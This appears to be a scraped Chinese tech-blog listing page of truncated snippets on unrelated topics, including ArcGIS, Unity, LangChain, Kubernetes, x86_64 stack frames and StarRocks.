《ArcGIS全系列实战视频教程》是由9个单一课程组合合成。组成一条ArcGIS入门实战各项专题深入应用学习全链条&#xff0c;让你学有方向、学有目的&#xff0c;系统全面掌握ArcGIS。 ArcGIS全系列实战视频教程——9个单一课程组合https://edu.csdn.net/combo/detail/2569 《Ar…

unity2D生成9*9格子

1.创建一个空对象和格子 2将格子做成预制体&#xff08;直接将格子拖到这里即可&#xff0c;拖了过后删掉原来的格子&#xff09; 3.创建脚本并将脚本拖到空对象上 using System.Collections; using System.Collections.Generic; using UnityEngine;public class CreateMap : M…

增删卜易——八宫六十四卦

之前看倪海厦的《天纪》笔记里面提到了六十四卦世应,觉得不知道这个世应是啥意思。很长时间就没看了,偶然间看到了张文江教授写的一本书《潘雨廷先生谈话录》提到了《卜筮正宗》,“卜筮最后的判断是非理性转义,其他一切都只是形式”,“明人的著作,从京氏易出,如今天几日…

GitHub 服务器

GitHub 服务器 公司中&#xff0c;我们可以搭建中央服务器让项目组开发人员共享代码&#xff0c;但是如果我们的开发人员都是通过互联网进行协作&#xff0c;而不是在同一个地方&#xff0c;那么开发时&#xff0c;程序文件代码的版本管理就显得更加重要&#xff0c;这就需要搭…

企业数据流动安全管理软件(深度解析文章)

企业数据重要性不言而喻&#xff0c;而同时数据的流动和共享也带来了安全风险&#xff0c;如何确保企业数据在流动过程中的安全性&#xff0c;也成为了企业需要面临的重要问题。 企业数据流动安全管理软件的主要功能是监控和管理企业数据的流动过程。 它能够对企业内部的数据…

OpenCASCADE开发指南<八>:OCC 数据结构分析之二三维几何数据

数据结构,指的是数据元素之间的相互关系,尤其是数据的逻辑结构。选择数据结构的主要依据是数据的逻辑结构[6]。 因此&#xff0c; 本章将主要描述三种数据的逻辑结构。这三种数据包括&#xff1a;二维几何数据、三维几何数据和拓扑数据。 1 数据结构模块的整体框架 OCC 的第二…

GPT实战系列-如何让LangChain的Agent选择工具

GPT实战系列-如何让LangChain的Agent选择工具 LangChain GPT实战系列-LangChain如何构建基通义千问的多工具链 GPT实战系列-构建多参数的自定义LangChain工具 GPT实战系列-通过Basetool构建自定义LangChain工具方法 GPT实战系列-一种构建LangChain自定义Tool工具的简单方法…

ts文件怎么无损转换mp4?这样设置转换模式~

TS格式&#xff08;Transport Stream&#xff09;的起源可追溯到数字电视广播领域。设计初衷是解决视频、音频等多媒体数据在传输和存储中的问题。采用一系列标准技术&#xff0c;TS格式让视频信号能够以流的形式传输&#xff0c;因此在数字电视、广播等领域得到广泛应用。 MP4…

ChatGPT提问技巧——对抗性提示

ChatGPT提问技巧——对抗性提示 对抗性提示是一种允许模型生成能够抵御某些类型的攻击或偏差的文本的技术。这种技术可用于训练更健壮、更能抵御某些类型的攻击或偏差的模型。 要在 ChatGPT 中使用对抗性提示&#xff0c;应为模型提供一个提示&#xff0c;该提示的设计应使模…

Python数据分析-4

1.对于一组电影数据&#xff0c;呈现出rating,runtime的分布情况&#xff1a; #encodingutf-8 import pandas as pd import numpy as np from matplotlib import pyplot as plt file_path "./youtube_video_data/IMDB-Movie-Data.csv" df pd.read_csv(file_path) …

基于centos7的k8s最新版v1.29.2安装教程

k8s概述 Kubernetes 是一个可移植、可扩展的开源平台&#xff0c;用于管理容器化的工作负载和服务&#xff0c;可促进声明式配置和自动化。 Kubernetes 拥有一个庞大且快速增长的生态&#xff0c;其服务、支持和工具的使用范围相当广泛。 Kubernetes 这个名字源于希腊语&…

x86_64架构栈帧以及帧指针FP

文章目录 一、x86_64架构寄存器简介二、x86_64架构帧指针FP三、示例四、保存帧指针参考资料 一、x86_64架构寄存器简介 在x86架构中&#xff0c;有8个通用寄存器可用&#xff1a;eax、ebx、ecx、edx、ebp、esp、esi和edi。在x86_64&#xff08;x64&#xff09;扩展中&#xff…

StarRocks——滴滴的极速多维分析实践

背景 滴滴集团作为生活服务领域的头部企业&#xff0c;其中橙心优选经过一年多的数据体系建设&#xff0c;逐渐将一部分需要实时交互查询&#xff0c;即席查询的多维数据分析需求由ClickHouse迁移到了StarRocks中&#xff0c;接下来以StarRocks实现的漏斗分析为例介绍StarRocks…